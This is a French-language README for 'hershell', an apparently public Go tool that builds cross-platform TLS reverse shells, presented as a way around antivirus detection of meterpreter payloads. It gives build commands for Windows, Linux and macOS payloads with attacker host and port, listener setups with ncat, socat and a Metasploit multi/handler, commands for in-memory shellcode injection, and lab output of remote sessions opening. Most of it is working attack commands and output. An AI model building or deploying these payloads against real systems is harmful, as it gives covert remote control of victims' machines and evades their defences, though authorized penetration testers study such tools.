
Générateur de reverse shell multiplateforme
Simple reverse shell TCP écrit en Go.
Il utilise TLS pour sécuriser les communications et fournit une fonctionnalité d'épingle d'empreinte de la clé publique du certificat, empêchant l'interception du trafic.
Les systèmes d'exploitation supportés sont :
Bien que les charges utiles meterpreter soient excellentes, elles sont parfois détectées par les produits antivirus.
L'objectif de ce projet est d'obtenir un reverse shell simple, pouvant fonctionner sur plusieurs systèmes.
Étant écrit en Go, vous pouvez compiler le source pour l'architecture souhaitée.
Comme il s'agit d'un projet Go, vous devrez suivre la documentation officielle pour configurer
votre environnement Golang (avec la variable d'environnement $GOPATH).
Ensuite, exécutez simplement go get github.com/lesnuages/hershell pour récupérer le projet.
Pour simplifier les choses, vous pouvez utiliser le Makefile fourni. Vous pouvez définir les variables d'environnement suivantes :
GOOS : le système d'exploitation cibleGOARCH : l'architecture cibleLHOST : l'adresse IP ou le nom de domaine de l'attaquantLPORT : le port d'écoutePour les variables GOOS et GOARCH, vous pouvez obtenir les valeurs autorisées ici.
Cependant, quelques cibles d'assistance sont disponibles dans le Makefile :
depends : génère le certificat serveur (nécessaire pour le reverse shell)windows32 : construit un exécutable Windows 32 bits (PE 32 bits)windows64 : construit un exécutable Windows 64 bits (PE 64 bits)linux32 : construit un exécutable Linux 32 bits (ELF 32 bits)linux64 : construit un exécutable Linux 64 bits (ELF 64 bits)macos32 : construit un exécutable Mac OS 32 bits (Mach-O)macos64 : construit un exécutable Mac OS 64 bits (Mach-O)Pour ces cibles, vous devez simplement définir les variables d'environnement LHOST et LPORT.
Une fois exécuté, vous obtiendrez un shell distant.
Ce shell interactif personnalisé vous permettra d'exécuter des commandes système via cmd.exe sur Windows, ou /bin/sh sur les machines UNIX.
Les commandes spéciales suivantes sont supportées :
run_shell : vous donne un shell système (vous permettant, par exemple, de changer de répertoire)inject <shellcode en base64> : injecte un shellcode (encodé en base64) dans la mémoire du même processus et l'exécutemeterpreter [tcp|http|https] IP:PORT : se connecte à un multi/handler pour obtenir un stage2 meterpreter reverse tcp, http ou https depuis metasploit, et exécute le shellcode en mémoire (Windows uniquement pour le moment)exit : quitte proprementTout d'abord, vous devrez générer un certificat valide :
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Pour Windows :
# Cible 32 bits prédéfinie
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Pour Linux :
# Cible 32 bits prédéfinie
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Pour Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
On peut utiliser divers outils pour gérer les connexions entrantes, tels que :
python/shell_reverse_tcp_ssl)Voici un exemple avec ncat :
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Voici un exemple avec socat (testé avec la version 1.7.3.2) :
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# la connexion serait initiée ici
[hershell]> whoami
desktop-3pvv31a\lab
ATTENTION : cela ne fonctionne actuellement que pour la plateforme Windows.
La mise en scène meterpreter supporte actuellement les charges utiles suivantes :
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsPour utiliser la bonne, spécifiez simplement le transport que vous souhaitez utiliser (tcp, http, https)
Pour utiliser la fonctionnalité de mise en scène meterpreter, démarrez simplement votre handler :
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Ensuite, dans hershell, utilisez la commande meterpreter :
[hershell]> meterpreter https 172.16.122.105:8443
Une nouvelle session meterpreter devrait apparaître dans msfconsole :
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x pour la fonctionnalité Dockerfile